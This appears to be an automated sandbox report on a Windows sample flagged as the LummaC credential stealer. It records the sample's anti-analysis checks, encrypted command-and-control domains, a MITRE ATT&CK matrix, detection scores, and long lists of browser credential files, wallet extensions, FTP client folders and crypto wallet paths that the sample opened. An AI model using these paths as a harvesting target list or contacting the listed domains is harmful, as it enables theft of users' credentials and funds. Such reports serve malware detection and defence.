Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06350C33 rdtsc

0_2_06350C33

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0090E470 LdrInitializeThunk,

0_2_0090E470

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: p3ar11fter.sbs
Source: file.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe	String found in binary or memory: p10tgrace.sbs
Source: file.exe	String found in binary or memory: peepburry828.sbs
Source: file.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1724105326.00000000064CC000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1718730826.0000000000AA6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: file.exe, 00000000.00000003.1495138649.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7720, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1467225096.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1443418925.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7720, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7720, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	34 Virtualization/Sandbox Evasion	2 OS Credential Dumping	761 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	34 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	32%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cook-rain.sbs/apiIq	100%	Avira URL Cloud	malware
https://cook-rain.sbs/K	100%	Avira URL Cloud	malware
https://cook-rain.sbs/v	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.184.228	true	false	high
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_116.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	false		high
